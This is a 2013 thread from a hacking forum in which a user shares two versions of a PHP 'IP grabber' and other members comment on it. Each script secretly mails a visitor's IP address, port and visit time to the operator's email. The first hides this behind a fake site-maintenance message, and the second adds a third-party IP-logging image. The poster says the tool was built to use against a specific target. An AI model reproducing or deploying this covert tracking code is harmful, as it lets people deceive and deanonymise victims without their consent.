![]() |
|
My IP Grabber Thingy ;3 - Printable Version +- Sinisterly (https://sinister.ly) +-- Forum: Coding (https://sinister.ly/Forum-Coding) +--- Forum: PHP (https://sinister.ly/Forum-PHP) +--- Thread: My IP Grabber Thingy ;3 (/Thread-My-IP-Grabber-Thingy-3) |
My IP Grabber Thingy ;3 - ImMe - 10-19-2013 Here is a little IP grabber I wrote up. Keep in mind this is my first code in PHP: PHP Code: <?php
$IP = $_SERVER['REMOTE_ADDR'];
$Port = $_SERVER['REMOTE_PORT'];
$Time = 'at ' . Date("g:ia") . ',' . ' on ' . Date("m/d/Y");
If(@mail('YOUR EMAIL HERE', 'IP Received ' . $Time,'IP: ' . $IP . "\n" . 'Received through port: ' . $Port . "\n\n" . 'Info sent ' . $Time)){
Echo "Site is Down for Maintenance. Please Check Back Soon!";
}
Else{
Die('An unexpected error has occurred with the script.');
}
?>PHP Code: <?php
$IP = $_SERVER['REMOTE_ADDR'];
$Port = $_SERVER['REMOTE_PORT'];
$Time = 'at ' . Date("g:ia") . ',' . ' on ' . Date("m/d/Y");
If(@mail('YOUR EMAIL HERE', 'IP Received ' . $Time,'IP: ' . $IP . "\n" . 'Received through port: ' . $Port . "\n\n" . 'Info sent ' . $Time)){
Echo "Thank you for your IP!";
}
Else{
Die('An unexpected error has occurred with the script.');
}
?>
<html>
<a title='IP'><img alt='IP' src='http://www.clientip.net/sign/sign.png.php?i=1&c=red' /></a>
</html>
Thanks!:epic: RE: My IP Grabber Thingy ;3 - The Real Slim Shady - 10-19-2013 For starters, please use code tags in the future. Secondly... simply writing "You've been hacked" is kinda stupid. You might fool a user or two but it makes no real difference as they have not been compromised... Its also likely to generate a lot of emails for no good reason... I find it counterproductive for someone to attack a random website visitor. Unless youre good its definitely harder to hack the average user than it is to target a server. And if you are targeting specific user it would be stupid to advise them they are being targeted with such a message... RE: My IP Grabber Thingy ;3 - ImMe - 10-19-2013 (10-19-2013, 02:21 AM)Geoff Wrote: For starters, please use code tags in the future.As I said: "I'm new to this." People can just change the words anyways. Also, when I made this, it was to be used on a specific target. I just released the code for credit on my account. I am constantly learning, and improving. Thank you for the advice. RE: My IP Grabber Thingy ;3 - ImMe - 11-01-2013 I fixed the issue Geoff pointed out, and I hope you all find the code more useful. |